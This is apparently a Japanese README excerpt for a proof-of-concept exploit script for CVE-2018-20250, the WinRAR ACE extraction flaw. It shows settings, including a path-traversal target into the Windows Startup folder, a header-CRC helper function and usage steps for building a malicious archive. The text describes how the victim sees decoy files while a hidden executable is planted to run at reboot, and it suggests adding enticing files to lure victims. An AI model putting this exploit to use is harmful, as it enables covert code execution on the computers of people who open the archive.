
CVE-2018-20250のエクスプロイトスクリプト。WinRARのACEファイル抽出脆弱性を介してコード実行を実現する悪意のあるRARアーカイブを自動的に生成します。
Winrar からのコード実行抽出のための exp
Ridter による PoC
使い方は?
Python 3.7 をインストールし、実行したい evil ファイルを用意して、必要な値を設定するだけです。この exp スクリプトが自動的に evil アーカイブファイルを生成します!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
exp を実行すると、自動的に test.rar が生成されます
被害者が test.rar を開くと、hello.txt と world.txt が表示されます。さらに多くのファイルや魅力的なファイルを追加することもできます。
![]()
hi.exe というファイルが追加されます。実際には calc.exe です。コンピュータを再起動すると、hi.exe が実行されます。![]()
お楽しみください! :)